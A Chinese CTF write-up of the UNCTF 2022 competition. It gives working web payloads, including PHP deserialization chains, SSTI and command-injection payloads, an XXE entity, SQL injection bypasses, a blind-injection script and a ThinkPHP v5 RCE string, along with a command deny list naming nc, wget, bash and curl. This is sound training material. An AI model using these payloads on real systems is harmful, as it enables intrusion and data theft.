前言
tcltcltcltcltcl,前路漫漫,继续努力。
WEB
1、ezgame
挺有意思的一个游戏,不够玩,直接玩出flag…
2、我太喜欢bilibili大学了
搜索UNCTF,直接出flag
3、babyphp
进去就是源码,如下:
highlight_file(__FILE__);error_reporting(0);if(isset($_POST["a"])){ if($_POST["a"]==0&&$_POST["a"]!==0){ if(isset($_POST["key1"])&isset($_POST["key2"])){ $key1=$_POST["key1"]; $key2=$_POST["key2"]; if ($key1!==$key2&&sha1($key1)==sha1($key2)){ if (isset($_GET["code"])){ $code=$_GET["code"]; if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){ eval($code); }else{ echo "有手就行"; } }else{ echo "老套路了"; } }else{ echo "很简单的,很快就拿flag了~_~"; } }else{ echo "百度就能搜到的东西"; } }else{ echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!"; }}
payload1:
/index.php?code=var_dump(scandir("/"));同时post:a=0a&key1[]=1&key2[]=2
得知flag.txt在根目录
payload2:
/index.php?code=var_dump(file_get_contents(base64_decode(L2ZsYWcudHh0))); // 里面的base64是 "/flag.txt",为了绕过preg_match的同时post:a=0a&key1[]=1&key2[]=2
4、302与深大
dirsearch 之后发现/Dockerfile页面,以及302重定向前的页面index.php,访问前者,出了半个flag,访问/index.php,同时抓包,阻止重定向,在index.php找到另一半flag
UNCTF{thai_miku_micgo_qka_WEB_GOD}
5、听说php有个xxe漏洞
很基础的xxe,没过滤任何东西。
访问dom.php页面,抓包后post以下内容
DOCTYPE xxe[<!ELEMENT test ANY >]><test><name>&xxe;name>test>
直接获得flag
6、poppop
简单的pop链,题目如下
<?phpclass A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; }}class B{ public $key; function __destruct(){ echo $this->key; }}class C{ private $key2; function __toString() { return $this->key2->abab(); }}if(isset($_POST['poc'])) { unserialize($_POST['poc']);}else{ highlight_file(__FILE__);}
直接给exp了:
class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; }}class B{ public $key; function __destruct(){ echo $this->key; }}class C{ private $key2; public function __construct() { $this->key2 = new A(); $this->key2->code = "phpinfo()"; } function __toString() { return $this->key2->abab(); }} $a = new B();$a->key = new C();$b = serialize($a);$b = str_replace('A":1:', 'A":2:', $b);echo urlencode($b);
唯一恶心的就是flag藏在phpinfo里,找了好久没找到…
payload:
post:poc=O%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22key%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A7%3A%22%00C%00key2%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D
flag:UNCTF{0cad9b13-54bb-405e-a1de-c532311ee909}
7、eazy ssti
心态真蚌,和上一题一样,有webshell,就是找不到flag,找了半天才在环境变量里找到…
基础的一道python ssti,在username里输入{{1+1}}
,进去后有2的回显,知道注入点了,就是构造了,过滤了class,并且用16进制无法绕过,用了另一种绕过方法,参考文章如下:
https://xz.aliyun.com/t/3679#toc-11
https://blog.csdn.net/huangyongkang666/article/details/123628875?spm=1001.2014.3001.5506
用{{session['__cla'+'ss__'].__mro__[12]}}
找到object基类
则{{session['__cla'+'ss__'].__mro__[12]['__subcl'+'asses__']()}}
为所有子类,用如下exp即可拿webshell
exp:
{% for c in session['__cla'+'ss__'].__mro__[12]['__subcl'+'asses__']() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('set').read()") }}{% endif %}{% endfor %}
在环境变量中找到了flag:
UNCTF{9eb83d80-ce00-40b4-ab12-e0c023b18b47}
8、easy_upload
只能上传png文件,并且后端只检测 Content-type,直接写一句话木马的php文件,上传,抓包改Content-type: image/png,蚁剑连接地址。
flag在/home/ctf/flag:UNCTF{bc3bb28d-8016-42a3-aa3b-96164e76408e}
9、签到
逆天签到,20200101一直到20200138还是几来着,就一直查就行,每查一次就会有一个字母,最后拼成flag:
flag{bfff6d206cbcd6ac0870a4f48c7c313b}
10、ezunseri
比较简单的一题php反序列化,源码如下:
highlight_file(__FILE__);error_reporting(0);class Exec{ public $content; public function execute($var){ eval($this->content); } public function __get($name){ echo $this->content; } public function __invoke(){ $content = $this->execute($this->content); } public function __wakeup() { $this->content = ""; die("1!5!"); }}class Test{ public $test; public $key; public function __construct(){ $this->test = "test123"; } public function __toString(){ $name = $this->test; $name(); }} class Login{ private $name; public $code = " JUST FOR FUN"; public $key; public function __construct($name="UNCTF"){ $this->name = $name; } public function show(){ echo $this->name.$this->code; } public function __destruct(){ if($this->code = '3.1415926'){ return $this->key->name; } }}if(isset($_GET['pop'])){ $a = unserialize($_GET[pop]);}else{ $a = new Login(); $a->show();}
链子:Login.__destruct -> Exec.__get -> Test.__toString -> Exec.__invoke -> Exec.execute
exp:
class Exec{ public $content; public function execute($var){ eval($this->content); } public function __get($name){ echo $this->content; } public function __invoke(){ $content = $this->execute($this->content); } public function __wakeup() { $this->content = ""; die("1!5!"); }}class Test{ public $test; public $key; public function __toString(){ $name = $this->test; $name(); }}class Login{ private $name; public $code = " JUST FOR FUN"; public $key; public function __destruct(){ if($this->code = '3.1415926'){ return $this->key->name; } }}$a = new Login();$a->key = new Exec();$a->key->content = new Test();$a->key->content->test = new Exec();$a->key->content->test->content = "system('cat /flag');";$b = serialize($a);$b = str_replace('c":1:', 'c":2:', $b);echo urlencode($b);
payload:
?pop=O%3A5%3A%22Login%22%3A3%3A%7Bs%3A11%3A%22%00Login%00name%22%3BN%3Bs%3A4%3A%22code%22%3Bs%3A13%3A%22+JUST+FOR+FUN%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22Exec%22%3A2%3A%7Bs%3A7%3A%22content%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22Exec%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7Ds%3A3%3A%22key%22%3BN%3B%7D%7D%7D
flag:UNCTF{1fddc21e-9958-4892-83d9-40a735f34682}
11、babynode
参考:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
非常基础的js原型链污染,源码:
app.post('/', function(req, res) {var flag = 'flag';var admin = {};let user = {};try {copy(user,req.body);} catch(error){res.send("copy error");return;}if(admin.id==='unctf') {res.end(flag);} else {return res.end("error");}})
这里要使 admin.id == ‘unctf’,但其中只有user的赋值,并且还是copy,底层和merge应该差不多,由于user和admin的原型对象是同一个,所以我们可以污染 user 的原型来达成目的。
抓包post内容如下:
POST / HTTP/1.1Host: 5bf21fdd-0396-4faf-b6bd-14789cd8cf89.node.yuzhian.com.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonContent-Length: 30Origin: http://5bf21fdd-0396-4faf-b6bd-14789cd8cf89.node.yuzhian.com.cnConnection: closeReferer: http://5bf21fdd-0396-4faf-b6bd-14789cd8cf89.node.yuzhian.com.cn/Upgrade-Insecure-Requests: 1{"__proto__": {"id": "unctf"}}
主要关注点是Content-Type为application/json
,post内容为{"__proto__": {"id": "unctf"}}
发包即可拿到flag:
UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}
12、给你一刀
原题,
thinkphp v5 的一个漏洞
payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=set
在环境变量中找到了flag:UNCTF{Y0u_A3r_so_G9eaD_hacker}
13、世界和平
额,只能说,做出来了感觉是真的简单…不过sql注入的经验实在是太少,才导致做了比较久,等这比赛打完就去整理一下sql注入相关的知识吧。ok回到这题。
堆叠注入,
过滤了非常多的东西(虽然堆叠注入一般都这样),大致过滤了如下我想使用的单词:
or select information_schema select create handler prepare flag update
先试了一下1;show databases;
,回显如下:
Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => score_mbamission ) Array ( [0] => score_minnesotaunited ) Array ( [0] => snert )
没啥用,再试了1;show tables;
Array ( [0] => Flag ) Array ( [0] => users )
试一下1;desc Flag;
无回显,但1;desc users
有回显,如下:
Array( [0] => songname [1] => varchar(64) [2] => NO [3] => [4] => [5] => )Array( [0] => message [1] => varchar(128) [2] => NO [3] => [4] => [5] => )
想试试之前遇到的堆叠注入题的方法,但是试了很久没用。
直到发现输入SELECT不会被直接过滤,输入select会被直接过滤,于是试了一下1;SELECT * FROM Flag;
,只回显了前半部分的语句,这里是我没经验了,半天不知道发生了什么,以为设置了mysql大小写敏感或者别的什么,但是1;SHOW TABLES;
仍然有回显,这就非常让人迷惑,后来在网上查阅资料的时候看到双写绕过,突然顿悟,应该是被replace了一些东西,所以试试双写,最终payload:
1;SELESELECTCT * FROFROMM FlFlagag;
flag:flag{d6a6bc0db10694a2d90e3a69648f3a03}
,可以说是非常简单了…
14、easy_rce
非常有意思的一题linux时间盲注,这是我第一次做盲注类型的题目,感觉良好,虽然不是sql注入,但是还是有、意思。ok回到这题
题目源码:
<?php# flag in /flagif(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){ exec($code,$output,$return_val); if(!$return_val) echo "success"; else{ echo "fail"; } } else{ die("小黑子,露出只因脚了吧"); }}else{ highlight_file(__FILE__);}?>
代码非常简单,最主要的过滤点就是preg_match,过滤掉了很多的东西,这里在查看了很多文章和实践之后,最终决定使用less
来进行文件读取,,然后使用cut -c
命令读取单个字符,并且这里不能出现fl字串,因此使用/f???
读取flag,由于前端只会回显"success"和"fail",因此要使用时间注入,一开始构造出的code:
f'if [ $(less /f??? | cut -c {num}) == {char} ]; then sleep 2;fi'
但是后来发现";"也被过滤了,很长时间没想法,但是突然看到了&&
和||
,管道符,其中&被过滤了,但是仍然可以使用||
,因此构造如下语句。||
的作用:如果前面为假,则执行后面的语句
f'[ $(less /f??? | cut -c {num}) == {char} ] || sleep 2'
分析以下上面这句话,如果对应{num}
位置不是{char}
,则sleep 2秒,否则就是{char}
所以盲注脚本:
import requests as rqimport timeurl = 'http://05e0854a-14c1-451b-ac0e-b52dae5825a0.node.yuzhian.com.cn/'list1 = [chr(i) for i in range(65, 91)]list2 = [chr(i) for i in range(97, 123)]list3 = [str(i) for i in range(10)]list_total = list1 + list2 + list3list_total.append("{")list_total.append("}")list_total.append("_")list_total.append("-")list_total.append("=")num = 7flag = "UNCTF{"while True: code = f'less /f??? | cut -c {num}' for char in list_total: payload = f'[ $({code}) == {char} ] || sleep 2' params = { 'code': payload } t1 = time.time() resp = rq.post(url=url, params=params) t2 = time.time() if 'fail' in resp.text or '小黑子,露出只因脚了吧' in resp.text: print(resp.text) print("命令结束或有误!") break if 'success' in resp.text: if t2 - t1 > 1.5: print(f"第{num}个数不是{char}") else: flag += char print(f"flag:{flag}") break num += 1
经过几次观察,数字是最多的,然后是小写字母,没有大写字母,所以上面的脚本的列表稍微改一下顺序能提高很大的效率,自己改吧。
最终获得flag:UNCTF{552d6094-637f-42d5-b096-d96e23267fbf}
没做出的题目的思路
还是tcltcltcl,复现在文章结尾
1、随便注
名字很熟悉,buu上做过2019年强网杯的随便注,题目也有很大的相似性,但是做了一定的改变。
2019强网杯的源码主体如下:
if ($res){//使用multi_query()执行一条或多条sql语句 do{ if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果 while ($row = $rs->fetch_row()){ var_dump($row); echo "
"; } $rs->Close(); //关闭结果集 if ($mysqli->more_results()){ //判断是否还有更多结果集 echo "
"; } } }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值 } else { echo "error ".$mysqli->errno." : ".$mysqli->error; }
但是在这题中,似乎并没有do while循环,堆叠注入时只会输出
,但是并不会继续输出后续的结果集,并且后续不管注入多少语句,仅会输出一个
,因此合理判断应该没有do while循环。
1' || 1=1#
,能够爆出所有字段,但flag不在其中,如此相似的感觉,看样子这题样本就是2019强网杯的随便注,但又有些不同,循环过滤了or和use,没做出来,真的tcl,下面是我做题时的脚本
import requests as rqurl = 'http://6e99b629-a3b5-470e-b419-54ed73a3b9e3.node.yuzhian.com.cn/'# payload_test = "1';show databases;#"# payload1 = "2' ORDER by 2#" # 总共两列,循环过滤了or# payload2 = "-1' unioron seleorct database(),database()#" # union 和 select 被过滤,可大写绕过,database: admin# # payload3 = "-1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM lower('INFORMATION_SCHEMA.TABLES') where database_name='admin'#"# payload3 = "-1' UNION SELECT 1,table_name FROM mysql.innodb_index_stats WHERE database_name=database()#"# payload31 = "-1' UNION SELECT 1,table_name FROM mysql.innodb_index_stats#"payload32 = "-1' UNION SELECT 1,GROUP_CONCAT(*) FROM FLAG_TABLE#"# # MariaDB 没有 sys.schema_auto_increment_columns 这张表,但是可以用mysql.innodb_table_stats查表名# # table_name: FLAG_TABLE,news,users,gtid_slave_pos# payload4 = "-1' UNION SELECT 1,(SELECT GROUP_CONCAT(b) FROM (SELECT 1,2 AS b UNION SELECT * FROM CHAR(0x7573657273))a)#"# payload5 = "-1' UNION SELECT 1,`1` FROM (SELECT 1,2,3 UNION SELECT * FROM admin)a#"payload0 = "1';2';114514';#"payload1 = "1';Set @sql = CONCAT('alert table us', 'ers rename to 123');Prepare stmt FROM @sql;EXECUTE stmt;#" # set、prepare、rename, table、alert、execute、insert并没有被过滤payload_test = "1';Set @sql = CONCAT('se','lect * from `FLAG_TABLE`;');Prepare stmt from @sql;EXECUTE stmt;#"# 过滤的:or use 而且是循环过滤# 也许我可以用sql预编译拆开users,然后执行一些操作# INSERT INTO users SELECT flag FROM FLAG_TABLE;# alter table user rename to users;# https://zhuanlan.zhihu.com/p/78989602 随便注的源码# https://blog.csdn.net/weixin_38832257/article/details/126395256 好文params = { 'id': payload1}resp = rq.post(url=url, params=params)print(resp.text)
database()是admin
一开始的想法是用mysql.innodb_index_stats表查询tables(因为or被过滤,information_schema不能用,不过MariaDB中有mysql.innodb_index_stats这张表,存着tables)查到的tables:FLAG_TABLE,news,users,gtid_slave_pos
在后续利用无列名注入时,提示admin.FLAG_TABLE 不存在,也就是说admin这一db中没有这张表,讲实话我不是很理解…所以这条路就没走了
换了个思路,还是打算用堆叠注入,由于前端没有回显,我只能盲猜,由于输入的是id,所以我猜现在应该是在查询users表,所以想用换表名的方法,将FLAG_TABLE表命名为users,users表命名为其他,不过use被循环过滤,所以想到用sql预编译,但是没有columns,也不知道咋办了
等赛后复现吧,实在是tcl
2、我太喜欢bilibili大学啦修复版
进入admin_unctf.php之后,看见了提示抓包,抓完不知道怎么搞了…
3、快乐三消
进去是三消游戏,.git有源码泄露,用GitHack抓取文件,抓到了index.php和phpinfo.php,在index.php中有一个连接mysql的源码,然后就不知道怎么做了,摆了。
4、ez2048
虽然感觉能玩出来,但是题目我都没怎么看过…摆了
5、SqlSql
给了后端源码,每个注入点都有 addslashes_deep 函数进行过滤:
function addslashes_deep($value){ if (empty($value)){ return $value; }else { return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value); }}
感觉直接注入好像没什么想法,成绩查询页面提示只有admin才能进行查询,而login.php中可以登录而且没验证码校验,合理想到爆破密码,但是没成功…也许是脚本有问题吧,如下:
import requests as rqimport threadingurl = 'http://e462ea1b-d697-436c-920a-622a7e9a379e.node.yuzhian.com.cn/login.php'def yeyeye(start): for num in range(start, start + 2000): data = { 'username': 'admin', 'studentid': f'{num}', 'submit': '提交' } # print(f"尝试studentid={num}") resp = rq.post(url=url, data=data) if '用户名或密码错误捏' in resp.text: continue else: print(resp.text) breakif __name__ == '__main__': for i in range(0, 1000001, 20000): threading.Thread(target=yeyeye, args=(i,)).start()
纯纯没想法了…
Crypto
1、md5-1
挺简单不说了,写个脚本就能出。
2、ezxor
用了一个很牛的一个大佬的脚本,参考链接:
https://www.ruanx.net/many-time-pad/
用到这道题目上,微调了一下参数
import Crypto.Util.strxor as xoimport libnum, codecs, numpy as npdef isChr(x): if ord('a') <= x and x <= ord('z'): return True if ord('A') <= x and x <= ord('Z'): return True return Falsedef infer(index, pos): if msg[index, pos] != 0: return msg[index, pos] = ord(' ') for x in range(len(c)): if x != index: msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')def know(index, pos, ch): msg[index, pos] = ord(ch) for x in range(len(c)): if x != index: msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)dat = []def getSpace(): for index, x in enumerate(c): res = [xo.strxor(x, y) for y in c if x!=y] f = lambda pos: len(list(filter(isChr, [s[pos] for s in res]))) cnt = [f(pos) for pos in range(len(x))] for pos in range(len(x)): dat.append((f(pos), index, pos))c = [codecs.decode(x.strip().encode(), 'hex') for x in open('Problem.txt', 'r').readlines()]msg = np.zeros([len(c), len(c[0])], dtype=int)getSpace()dat = sorted(dat)[::-1]for w, index, pos in dat: infer(index, pos)know(1, 19, 't')know(1, 26, 'h')know(0, 19, 'k')know(10, 24, 'e')know(4, 25, 'e')print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())print(key)
跑出flag:UNCTF{Y0u_are_very_Clever!!!}
3、ceaser
简单的凯撒,表换成了base64表,密文:B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
解密脚本如下:
list1 = [chr(i) for i in range(65, 91)]list2 = [chr(i) for i in range(97, 123)]list3 = [str(i) for i in range(10)]list_total = list1 + list2 + list3list_total.append("+")list_total.append("/")# print(len(list_total))flag = ''string1 = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}'for i in range(len(string1)): if string1[i] in list_total: j = list_total.index(string1[i]) flag += list_total[(j + 19) % 64] # 偏移了19位 else: flag += string1[i]print(flag)
flag:UNCTF{w0w_Th1s_d1fFerent_c4eSar}
4、md5-2
不难的md5加密,题目代码:
from hashlib import md5flag='UNCTF{%s}'%md5('x'.encode()).hexdigest()# x不是一个字符是n个字符md5_=[]for i in flag: md5_.append(int(md5(i.encode()).hexdigest(),16))print(md5_)for i in range(0,len(md5_)): if i==0: with open('out.txt','a')as file: file.write(hex(md5_[i])[2:]+'\n') else: with open('out.txt','a')as file: file.write(hex(md5_[i]^md5_[i-1])[2:]+'\n')
out.txt文件:
4c614360da93c0a041b22e537de151ebc1fd731c6d60040369908b4a5f309f4180fdc84bbb5ed9e207a21d5436efdcfdb48d19bb99a7e6bb448f63b75bc9238439eaf918a52fcaa5ed9195e546b021c1795d6869f32db43ff5b414de3c235514f59a054403f933c842e9c3235c136367c80b37816048952a3c0fc9780602a2fa810ecef68e945c3fe7d6accba8b329bdcad06891e0c769c7b02c228c8c2c8865470a96d253a639193530a15487fea36f470a96d253a639193530a15487fea36f4bdea6676e5335f857fa8e47249fa1d8810ecef68e945c3fe7d6accba8b329bdedbb7ab78cde98a07b9b5a2ab284bf0a44b43e07e9af05e3b9b129a287e5a8dfa641c08ed66b55c9bd541fe1b22ce5c0abed1f675819a2c0f65c9b7da8cab301738c486923803a1b59ef17329d70bbbd7e209780adf2cd1212e793ae8796ed7ca641c08ed66b55c9bd541fe1b22ce5c0a641c08ed66b55c9bd541fe1b22ce5c0636a84a33e1373324d64463eeb8e76146ec65b4ab061843b066cc2a2f16820d5a4a39b59eb036a4a8922f7142f8741148c34745bd5b5d42cb3efe381eeb88e4b5b1ba76b1d36847d632203a75c4f74e2d861570e7b9998dbafb38c4f35ba08bc464b7d495dc6019fa4a709da29fc79528eb69528cd84b73d858be0947f97b7ccdd6ac4c783a9059d11cb0910fc95d4a4b6b0ee5d5f6b24e6898997d765c487cb0762bc356c466d6b2b8f6396f2e0418547287408e2d2d8f3834fc1b90c3be982947a7d007b9854fa62efb18c9fd91f8ddafe43b36150de851c83d80bd22b0ac7b36c5f23587e285e528527d1263c8b2a0816e8af86e68825c9df0d63a2838163ce72a42cf62e6d0fdc6c96df4687e3
解密脚本如下:
from hashlib import md5list1 = [chr(i) for i in range(65, 91)]list2 = [chr(i) for i in range(97, 123)]list3 = [str(i) for i in range(10)]list_total = list1 + list2 + list3list_total.append("{")list_total.append("}")with open(file='out.txt', mode='r') as f: content = f.readlines() a1 = '' a_ = '' a_ans = '' for i in range(len(content)): if i == 0: a_ans = content[i].strip() else: a1 = a_ans a_ = content[i].strip() a1 = int(a1, 16) a_ = int(a_, 16) a_ans = hex(a1 ^ a_)[2:] # print(a_ans) if len(a_ans) == 31: a_ans = '0'+a_ans # 这里由于做异或运算后会出现首部为零被舍去的情况,所以头部要补上'0' for item in list_total: if md5(item.encode()).hexdigest() == a_ans: print(item, end="")
flag:UNCTF{a197271943ceb3c3fe98bcadf10c29d4}
RE
1、whereisyourkey
非常简单的逆向,手撕flag:UNCTF{yesiamflag}
Misc
一题没做…
Pwn
1、welcomeUNCTF2022
nc 一下,输入UNCTF&2022即可
UNCTF{0834c2e4-e716-40da-9970-0f446b3ce066}
2、石头剪刀布
伪随机,赢100次就行,不会pwn,这里想用srand去爆破种子的,但是爆出太多种子了,脚本如下:
#include #include int main() {int a[15];for(int i=0;i<1145141919810;i++) {srand(i);for(int j=0;j<15;j++) {a[j] = (int)rand()%3;}if(a[0] == 1 &&a[1] == 1 &&a[2] == 2 && a[3] == 2 &&a[4] == 0 &&a[5] == 2 &&a[6] == 2 &&a[7] == 1 &&a[8] == 2 &&a[9] == 2 &&a[10] == 2 &&a[11] == 0 &&a[12] == 0 &&a[13] == 2 &&a[14] == 1) {printf("种子是:%d",i);}}return 0;}
爆不出,这方法弃用了,接下去用了按键精灵,强撕的,按键精灵脚本:
Delay 1100Delay 1KeyPress "Y", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "2", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "0", 1Delay 1KeyPress "Enter", 1Delay 1KeyPress "1", 1Delay 1KeyPress "Enter", 1Delay 1
为了这50分我容易吗
得到flag:UNCTF{436c3404-29cf-49de-91f3-3bd385d020ff}
结语
这次的web感觉都可以做,三道sql注入只出了一道,真的tcl,这个礼拜还是测试周,和比赛重了着实难受,隔壁的geek也还没做QAQ。下礼拜就猛做sql注入和源码泄露的整理!还是要多刷题多整理啊…
复现
趁环境还没关,赶紧给复现了。(还没复现完,等一手其他师傅的wp,学点东西来)
1、我太喜欢bilibili大学啦修复版
纯纯瞎子,hint2在响应头躺着…
进页面是phpinfo页面,搜索hint,搜到 hint_1: YWRtaW5fdW5jdGYucGhw,base64解码后:admin_unctf.php,于是访问,进入后在源代码找到了抓包的提示,这题我抓包后没看见响应头的hint2…纯瞎,hint2解码后就是账号密码,unctf2022/unctf2022。进入之后显示了源码:
putenv("FLAG=nonono");if(!isset($_POST['username']) && !isset($_POST['password'])){ exit("username or password is empty");}else{ if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){ show_source(__FILE__); @system("ping ".$_COOKIE['cmd']); }else{ exit("username or password error"); }}
抓包,发包的时候在请求头设置一下Cookie即可,payload如下:
Cookie: cmd=127.0.0.1|cat /flag
得到一串base64编码,解码后是一串网址,发现是一个bilibili的主页,介绍里就是flag:
unctf{this_is_so_easy}
